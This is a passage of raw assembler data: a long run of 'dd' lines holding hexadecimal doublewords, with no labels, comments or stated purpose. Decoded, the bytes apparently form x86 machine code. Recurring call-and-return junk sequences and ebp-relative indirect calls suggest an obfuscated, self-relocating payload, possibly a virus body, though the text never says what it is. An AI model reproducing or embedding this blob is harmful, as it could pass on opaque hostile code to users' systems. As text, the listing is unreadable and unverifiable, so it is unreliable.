5C895BC3h, 44810424h, 1D0424h dd 53430000h, 36BD8DC3h, 13564A30h, 8ADACDABh, 880DD9h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0A13368C3h, 89C973E9h, 45084195h, 1958B06h dd 6A06452Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 5145C355h, 47D9CF81h, 8D8B5217h dd 64503D5h, 5BF55252h, 0C28B505Bh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 8058188Bh, 6660F8CBh, 8D8BF38Bh, 64522B1h dd 15BD8361h, 64502h, 74840Fh, 8A560000h, 0B85BDCh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 9CC3C355h, 3B500863h, 20998589h, 8D8D0645h dd 6454E1Ch, 0FE9h, 0C5A55500h, 32564BA1h, 0FB17E035h dd 8F87C7D0h, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0CE2C63C3h, 46F3DADFh, 11C18529h dd 0BD830645h, 645095Dh, 8840F00h, 80000004h, 0FC50FBCBh dd 5DBD835Bh, 1064509h, 410840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 6C4BE7C3h dd 0BD839E7Eh, 645095Dh, 0AD860F03h, 8B000003h, 4506A99Dh dd 0BB666006h, 8C665F45h, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2E5F2067h dd 71BD8BCDh, 60064506h, 0BE9h, 69EBA800h, 0CE72B1Bh, 4653BCFFh dd 68F0Fh, 8D8B0000h, 6452C39h, 4E18061h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0B2C35242h, 7AA1F224h dd 0BF6660BAh, 0E9617D8Fh, 0Eh, 0C112F6C9h, 5557428Eh dd 0ADD477E0h, 0C90A6ED1h, 150840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0BBED7EC3h dd 0DC12D329h, 518529CBh, 8B064533h, 45058985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 11C8274h, 5BF98B56h, 2758533h, 6A0645h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 42704DC3h dd 487DC659h, 0EAB7ACD5h, 0ECFCBF90h, 8B50299Fh, 0F78190FEh dd 1FBA7588h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0D1842AC3h, 36BB1567h, 686F303Eh dd 8DD4D16Ch, 0BF665250h, 310FBF45h, 7E9h, 0C2063A00h dd 79DE17EDh, 481585Ah, 4A329324h, 5D858972h, 0E9064515h dd 0Bh, 5603BD08h, 0CFD3B4DAh, 0FF94328Fh, 452EAD95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0F2516B8Eh, 95E5CDCCh, 1D9D8B1Eh, 89064525h, 48AD7785h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 538A76DFh, 0E9C2DB34h, 1A0h, 1745BD23h dd 858B0645h, 648AD6Fh, 429BD8Bh, 0C70645h, 18h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6EC35141h, 4E5BD89h dd 0B58B0645h, 648AD73h, 201BD8Bh, 85890645h, 645263Dh dd 3C1858Bh, 0D3810645h, 126400FFh, 9D8B0689h, 6451F55h dd 589858Bh, 46890645h, 85BD8B04h, 96064501h, 11E850h dd 7FCE0000h, 0C292A31h, 17EBDEF9h, 56912C5Ch, 66AAE3E8h dd 5FC583BFh, 81665296h, 5FDC21E7h, 7D5BD29h, 0B5FF0645h dd 648AD6Fh, 0E69440BFh, 4E861h, 3FF0000h, 39B7001Fh, 12E850h dd 7F590000h, 9F881F92h, 806A31BFh, 0C07A279Fh, 0DD58BF6h dd 8B5FAEB7h, 8B042444h, 24448900h, 10E86004h, 0C3000000h dd 80014622h, 0FBCED08Ch, 64EA1419h, 59CEAC82h, 61D78B66h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 1BCA01B0h, 0B498EF72h, 75D9589h, 858D0645h dd 648AD77h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 16C35141h, 8D0F7D5Ch, 6, 0D4D8529h, 9D8B0645h dd 6451951h, 830F90h, 50000000h, 366A76BFh, 6A9009h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 151CD6C3h, 234BFCBEh, 8D890C50h, 6451DF5h, 28C99D2Bh dd 95290645h, 6452EB5h, 2EAD95FFh, 95890645h, 645043Dh dd 59BD8B61h, 0C7064501h, 45095D85h, 306h, 77BD8300h, 648ADh dd 0E840Fh, 0BD090000h, 64521C5h, 1EE9h, 0DFBF0F00h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 0B1958BF8h dd 61064500h, 8BD9D8Bh, 0BD830645h, 645095Dh, 3C850F03h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0AB0CC357h, 0BF0F6A74h, 9EC780DEh dd 0AD77BD83h, 0F000648h, 40A84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C7D9D3DEh dd 816E43C6h, 0B5FF1BB7h, 648AD77h, 6C19D89h, 95FF0645h dd 64510C9h, 0D0816660h, 8E8430Fh, 0B8000000h, 4DC579B4h dd 0FAAC813h, 615BC7B7h, 6810Fh, 95290000h, 645312Dh, 0AD6BB58Bh dd 6C70648h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0B1C35747h, 826CCF1Ah, 3799BB66h, 2091BD8Bh dd 0E9960645h, 0Ch, 6B429AEDh, 1CA20875h, 0FED4B221h, 9694B350h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B3C35747h dd 613E31Fh, 899D8953h, 5B064520h, 0AD77B5FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 1E3249C3h, 95195FFh dd 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0B3A6CBC3h, 0AD6BB58Bh, 0BD890648h, 6451705h dd 14ED858Bh, 13E90645h, 6000000h, 35AD707Eh, 70D0031h dd 65579227h, 0EC32B726h, 868920C1h, 0C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 88C35040h, 0E7A81267h dd 665B0C23h, 8B997BBBh, 452A0195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 2E8A1347h dd 1D9D2BD2h, 83064509h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 140B66C3h, 5BBFA92Ch dd 6A205089h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0BBDDC350h, 0E5E49939h, 665B3B06h dd 895161BFh, 4506DDB5h, 56858D06h, 0BB0648C1h, 3B5080B4h dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0EDE2DAC3h, 6ADE8Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 16C35040h, 0E4812029h dd 89E3D48Dh, 4525E19Dh, 77B5FF06h, 8B0648ADh, 4509E1BDh dd 9195FF06h, 8B064525h, 30BF66DEh, 0FA8B9660h, 0FA8B6650h dd 4DB58996h, 0FF064525h, 48AD77B5h, 0BD296006h, 64510F9h dd 7D95FF61h, 89064520h, 4521F995h, 55BD8306h, 64519h dd 70840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 3D9EF8C3h, 754F8DBBh, 0BE8962Bh dd 7F000000h, 3752CCC9h, 1E2B24F1h, 0BF66E0F8h, 505BC973h dd 0EE9h, 0F933A000h, 3520DD2Bh, 0D6A6F456h, 96DE1B36h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6EC35545h dd 23058589h, 0B5FF0645h, 648AD77h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CC35242h, 0D5E003C7h, 2D95FF94h dd 6606452Fh, 0FF1612BFh, 48AD77B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0AC40B2F5h dd 0E9BD8904h, 0FF064512h, 45073595h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0BD2E0F12h, 1DBD83D9h, 2064530h, 4B840Fh, 0F7BB0000h dd 8B5CCA49h, 452F5185h, 0C70DBF06h, 0C61B02h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0BE774AD3h, 6CC6966Eh, 9D33C62Bh, 6450C85h, 8E9h, 0B4F3B000h dd 704D50CAh, 0A985C742h, 64530h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E9E7C353h, 0FFFFF3E3h, 24C19589h, 0C18B0645h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 8B0F2800h dd 1, 0EE957FCh, 0D000000h, 7E68E4E6h, 34695A62h, 0F84D68E9h dd 858D5F29h, 6450D99h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 21C35242h, 0CE262ACCh, 0C0BA6660h, 0F861F8A8h dd 8B0F50h, 89000000h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0C02E28C3h, 0D1BD891Ah dd 6A064512h, 34D38100h, 6A143C94h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 1B91EBF0h dd 8DD0D8B3h, 4999C685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 66C4F07Dh, 0BD89DF8Bh dd 6450571h, 2B05C083h, 4512419Dh, 0DA8B9006h, 6A9050h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0D67957C3h, 95896117h, 6452091h, 15A9BD29h, 6A0645h dd 22C19589h, 6A0645h, 95FFDC8Ah, 6451749h, 24519D0Bh dd 0FAB70645h, 9D998D8Dh, 0F7810648h, 25BD676Bh, 6AD1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 2682E6C3h, 82AB6D6h, 35BD8B91h, 66064501h, 0BD83D88Bh dd 6450025h, 7A850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1459C353h dd 66990DAAh, 6AD882BFh, 905B5702h, 11E950h, 1CA10000h dd 0C7859AEEh, 8AD66222h, 0A8E99B3h, 5FE7900Ch, 90DF8B50h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 10C35646h dd 0AE72C8ABh, 665C18F9h, 8BE361BFh, 45119D9Dh, 9195FF06h dd 8B064525h, 0DC0E9DEh, 0E80000h, 5D000000h, 99D0ED81h dd 6A0649h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0CFF2D2C3h, 936EA5D4h, 8B379631h, 6AF9D8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7BC0D5C3h, 6D858DF8h, 6A06488Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0F3DAC350h dd 0BABA3046h, 0BD8B5252h, 6451D01h, 66505F5Fh, 489DE8Bh dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 62B2C6Eh, 254E891h, 8E86Eh, 858C0000h, 7F4471D9h dd 0BD8B9197h, 645066Dh, 35FF645Fh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D5C35646h dd 258964h, 80000000h, 85FF46DFh, 64532B9h, 0E35DBB57h dd 6A5F4D65h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 5B5FF2Ah, 89064530h, 45181595h, 0E995FF06h dd 0E906452Ch, 122h, 0D88B6652h, 0E800B05Fh, 11h, 8D1ABFE2h dd 0FC175BAh, 0F1963367h, 41FBD675h, 9E804h, 88770000h dd 97D943E7h, 0F111A3Bh, 8Ch, 0E65F5B00h, 8B71E470h, 4509259Dh dd 0F613C06h, 0DD83h, 0C8B60F00h, 2AF1B509h, 6BA0645h dd 60000000h, 10E9F78Bh, 15000000h, 62E49013h, 569254F8h dd 0FB13A6ABh, 61E3D8ECh, 840FC18Bh, 5, 0DEBF0F50h, 4E8C15Fh dd 202D8D31h, 0F7660645h, 0A0F8BFE2h, 0C82B245Fh, 4FBFBF66h dd 0DF8BD18Bh, 19218D89h, 6E90645h, 23000000h, 4508F9BDh dd 45858B06h, 0F064533h, 0C083F9BFh, 89858907h, 83064504h dd 0BD8B00C0h, 6450305h, 830FD03Bh, 17h, 0B8D8589h, 4FE90645h dd 9000000h, 4517A58Dh, 259D8B06h, 8B06452Ah, 4525518Dh dd 89858906h, 83064524h, 840F01E1h, 2Eh, 0B959D8Bh, 0A5830645h dd 6452551h, 4830FFEh, 66000000h, 3AB65BBh, 451319BDh dd 45958906h, 81064533h, 0E8F797CFh, 0E938h, 0B58D0000h dd 6490862h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0DBC35646h, 25D9D8Bh, 0D8B30645h, 0F381006Ah, 26F4B3BBh dd 312195FFh, 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8DBC41C3h, 199D8BBCh, 0B9064530h dd 83Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0D0C35545h, 31B26CDFh, 0A6991B07h, 0F4CF8161h dd 830C252Ah, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0C521D9C3h, 0B9001DE5h, 0E1BD8B91h dd 66064508h, 0FCB04EBFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 75C35343h, 11BD2924h, 66064523h, 5E13D381h dd 0B817B3h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D83EC350h, 0EE9F5h dd 0FAE20000h, 8B67172Ch, 0DA57D1D4h, 1501B5FBh, 0BAh dd 0D59D8B00h, 0AD064525h, 0E8D1C233h, 0E983D003h, 0B3F47504h dd 0DE8CBh, 0CC580000h, 7CA6533h, 0CF4C7EAAh, 6053F20Eh dd 311D8D8Bh, 81660645h, 618BAAEAh, 50006A5Fh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0AD7E6DAAh dd 0ECDE80A3h, 880DF56Dh, 0F000000h, 588h, 0CB816600h dd 958B963Eh, 6452A01h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0D0C35545h, 1D4DD75Ch, 8589CC38h, 64511DDh dd 3D58D8Bh, 820F0645h, 5, 769AFEBFh, 0C28B5027h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 9253C353h dd 6692518Bh, 0B2BAD781h, 0FABF0FF8h, 215BD83h, 0F000645h dd 7B84h, 0FCF78100h, 0B81D491Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A5C35747h dd 4926FFB6h, 1C99BD89h, 80510645h, 8D5B9CDBh, 454E1C8Dh dd 5731BF06h, 0E1FF7F17h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0DBC35242h, 0E922EB0Bh, 0Eh, 0EF7C0383h dd 4F3C7CC2h, 258C6340h, 0BD8BF764h, 6450601h, 95DBD83h dd 0F000645h, 3F284h, 74F4BB00h, 0BD8373EEh, 645095Dh dd 0FB840F01h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0BE9EC357h, 0BC0B0FBBh dd 5DBD8376h, 3064509h, 396860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 33D1A7C3h dd 450135BDh, 0FB8B6606h, 66D98B60h, 8B51D98Ch, 4522759Dh dd 0E1805F06h, 5E804h, 1A3F0000h, 89EA890Dh, 4509AD8Dh dd 0C90A5B06h, 129840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0BEB1F8C3h, 60C806E0h dd 20018D8Bh, 61F90645h, 589858Bh, 6E90645h, 0EA000000h dd 0D88C085Fh, 75853303h, 0F064502h, 68Dh, 5D858900h, 90064519h dd 0BB50D98Bh, 56200B3Bh, 6AF890h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 30C35343h, 0FA8B6660h, 7092D281h dd 0E8614327h, 4, 1F03FFh, 800Fh, 66500000h, 8B7B87BBh dd 66042444h, 8BF6BEBBh, 0DE900h, 2F1E0000h, 1534356Eh dd 35FEB06h, 8979B4B8h, 51042444h, 7E8h, 0AA389B00h, 8D4A41C9h dd 5F5BD88Bh, 0F5BD8958h, 0FF06452Bh, 452EAD95h, 68D0F06h dd 0B000000h, 4501219Dh, 77858906h, 890648ADh, 4530419Dh dd 20FE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0E80A02C3h, 7CD2AD27h, 10E9ACB3h dd 4B000000h, 489C3A60h, 13F98B7Ah, 0DD7DCDF4h, 8B677612h dd 48AD6F85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 3C288310h, 4E8B917Bh, 0C7BFCDh, 18h dd 931B589h, 0BDB30645h, 0AD73B58Bh, 8D890648h, 6451755h dd 3C1858Bh, 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 994CCC3h, 85895751h, 6451815h, 0CE85Bh dd 54C20000h, 0A2A439FCh, 3FA352A0h, 0E3806E47h, 6895FECh dd 76CF8166h, 89858B49h, 0E9064505h, 11h, 28F70DF0h, 2A34D4C0h dd 3F98405Eh, 0A92A0E2h, 4468918h, 12E896FCh, 0EC000000h dd 0E7C998CAh, 565C01CAh, 0B638D0Dh, 8929A1F3h, 60505BEEh dd 13E8h, 139F4C00h, 0AB336A42h, 8ED68EADh, 0D880CDC9h dd 408BE317h, 310F5250h, 8B5E585Ah, 0BF9661DAh, 4561D14Fh dd 30ADBD8Bh, 0B5FF0645h, 648AD6Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 68C35747h, 5B68C878h, 5066D57Ah dd 8DBF6652h, 8B310F17h, 81585AFBh, 79A42434h, 0BF6666CAh dd 858DE4F4h, 648AD77h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0CDC35242h, 0E83BFD01h, 71E153BBh, 7E95Fh dd 0ADD30000h, 0D1F6D666h, 0BB669081h, 60506539h, 318968B9h dd 6A906138h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 2AECC355h, 0A56C88C6h, 4926FFB6h dd 0FFF98B66h, 452EAD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 68A0FEDh, 29000000h dd 45334DBDh, 0FA8B5106h, 6A615Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0B60C2C3h, 5D85C73Eh dd 3064509h, 66000000h, 8374E6BFh, 48AD77BDh, 840F0006h dd 0Ch, 870Fh, 1CE90000h, 0FC000000h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 5C06C350h, 38CB444Dh, 9D9D037Ah, 66064511h, 838A1ABBh dd 45095DBDh, 850F0306h, 404h, 0EE40E6BFh, 839AB323h, 48AD77BDh dd 840F0006h, 3F0h, 0FFF98B66h, 48AD77B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8C0FACD8h, 0Eh, 1858960h, 0F064531h, 8Bh, 95FF6100h dd 64510C9h, 2C9D9D33h, 0B58B0645h, 648AD6Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0EBC35747h, 4C5BA5ABh dd 32D9BD8Bh, 6C70645h, 10001h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 23C35141h, 9BB7D5D5h, 2960689Fh dd 4523619Dh, 8D9D8906h, 6106451Eh, 18119589h, 89500645h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 1207C2C3h, 75E4E908h, 9559D09h, 0B5FF0645h dd 648AD77h, 28A59D29h, 95FF0645h, 6450951h, 8BDAB70Fh dd 48AD6BB5h, 0B9BD3106h, 8B064511h, 4514ED85h, 8C0F06h dd 89000000h, 0C486h, 0AB49BB00h, 958B2E9Ch, 6452A01h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 34C35747h dd 6AB16Ch, 0BF0F294Ch, 335760FEh, 451895BDh, 0E8575806h dd 9, 267E44EAh, 327264DAh, 615A5B59h, 0F04C283h, 58Dh dd 0C3816600h, 50899C45h, 50006A20h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 8D9589F0h dd 8D064510h, 48C15685h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 5CA552FAh, 89000C1Ah dd 45028D85h, 0B8868906h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1889C352h dd 8815BE0Ch, 52C78166h, 8B006A1Bh, 77B5FFD9h, 6A0648ADh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7DB9C357h, 0BBDFB591h, 0B7B2AA33h, 9195FFF1h dd 0E8064525h, 6, 3EBE470Fh, 9D8B2380h, 6452B55h, 5250505Fh dd 0FDA8B66h, 6581BF31h, 585A4D75h, 56243489h, 0D65BD2Bh dd 0FF5B0645h, 48AD77B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 331D16C5h dd 8BFDE144h, 452A359Dh, 7D95FF06h, 60064520h, 0FE9h, 72709D00h dd 9433ED66h, 4B423A86h, 0CCF9BAB9h, 61D68B66h, 1955BD83h dd 0F000645h, 4984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0FF763AD2h, 0EFE606E6h dd 8D0F118Ch, 6, 0C78B6660h, 509661F5h, 890F6056h, 0 dd 0D99F29BAh, 965F614Fh, 1185BD8Bh, 0B5FF0645h, 648AD77h dd 5699D8Bh, 95FF0645h, 6452F2Dh, 4860Fh, 0BB660000h, 0B5FF1E68h dd 648AD77h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 25C35141h, 186FA97Ch, 8D898A02h, 6451E11h, 73595FFh dd 0BD8B0645h, 6451359h, 301DBD83h, 0F020645h, 6E84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B65BDE2h, 452F5185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8AFD44FFh, 0C6F8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 6F0FD98Bh dd 0A3482BEEh, 0C7FB8B66h, 4530A985h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0FF037462h, 3185292Dh, 0BB06450Ah, 664B8CB4h, 0FFF3A2E9h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 9D233553h, 6452491h, 6AC18Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A0EEC2C3h dd 0D5AED6EEh, 0E947B232h, 11h, 88612B0Dh, 3B80E621h, 0A99C518Dh dd 53C6D74Fh, 0EB805730h, 858D5BFCh, 6450D99h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 5EC35747h, 38E0FEDh dd 0F000000h, 0BB50DABFh, 4C6353F9h, 51240489h, 11800Fh dd 0BE80000h, 44000000h, 0B8F2256Ah, 846F05EDh, 5B5B4904h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 895219C3h, 451C6D9Dh, 0FDBD0106h, 0F064525h dd 586h, 0F7D5BF00h, 6A4A9Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0FDC35343h, 0FEF42E14h, 4751BF66h dd 7E8h, 7DCC0200h, 0EF868306h, 3281BD8Bh, 8D5F0645h, 49A9D185h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0F7E65ED8h, 28E0Fh, 5F560000h, 6A05C083h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 176AC352h, 0F9BD8B85h, 81064518h, 0C75092CFh dd 5360502Dh, 505EC18Bh, 61596160h, 57240489h, 334ACF81h dd 6A5F3706h, 11E800h, 5ED00000h, 842E24EEh, 63C6E795h dd 8B73C3FAh, 334FC930h, 452E9D9Dh, 9D8B5B06h, 6450981h dd 890F006Ah, 6, 117D9529h, 95FF0645h, 6451749h, 8DDFBF0Fh dd 489D998Dh, 0EE806h, 8D0A0000h, 8516FD2Ah, 6A8DCA4Bh dd 0F8CB8454h, 5BDF8B66h, 0BD89D1FFh, 645082Dh, 25BD83h dd 0F010645h, 0AB85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 13CC381Dh, 360E4BF9h dd 29F99E43h, 4508519Dh, 0F026A06h, 5050D8B7h, 8E952h dd 0B0890000h, 18B6269h, 310FDC13h, 0F525060h, 0BB585A31h dd 2A9D071Fh, 89585A61h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0C55C7EC3h, 9D89FE8Ah dd 64510F9h, 24E5BD8Bh, 95FF0645h, 6452591h, 10E9h, 0A3BEF200h dd 0CAC8B30Bh, 0AF2EF6Ch, 2B5B7A78h, 0AE9A7h, 18180000h dd 7D1CBE35h, 1ADB6C56h, 0E30E9h, 0E800h, 815D0000h, 49A9DBEDh dd 0C886BB06h, 858D5420h, 6488F6Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0B0C35747h, 0ED21F1AAh, 0EE950h dd 0FBB60000h, 5D803861h, 0DE6774E6h, 0EFF48589h, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 2A0CC353h, 899C9BE6h, 4511C1BDh, 35FF6406h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 92C35646h dd 12E82Fh, 8B300000h, 0BF54DBFh, 4AECCDFDh, 0CFB416CAh dd 0A8A756E6h, 6466E381h, 645B5B4Eh, 2589h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F01AB8C3h, 7479257Bh, 3A58BB10h, 85FF740Ch, 64532B9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2BC35040h dd 29EB86F7h, 451DB58Dh, 6AFF6A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B5DC356h dd 0ADB5FFFBh, 6A064523h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 7DAAC353h, 8BD97B44h dd 0E995FFDAh, 0E906452Ch, 0EEh, 0B033B7h, 9D0970E6h, 64505DDh dd 61F38166h, 0F71E411h, 613CDABFh, 0D0830Fh, 0FFC0000h dd 9D2BC8B6h, 6451141h, 6BAh, 8BE1B300h, 659D8BC1h, 0C1064501h dd 3DB704E8h, 66E2F766h, 8BAF21BBh, 4532559Dh, 8BC82B06h dd 452CB99Dh, 0FD18B06h, 68Eh, 99D8B00h, 0E906450Ah, 8 dd 26C38151h, 5F63F329h, 41D858Bh, 0F7800645h, 7C0832Dh dd 1E9BD33h, 0C0830645h, 0DF816600h, 0D03B540Ch, 0B830Fh dd 85290000h, 64504C1h, 55E9h, 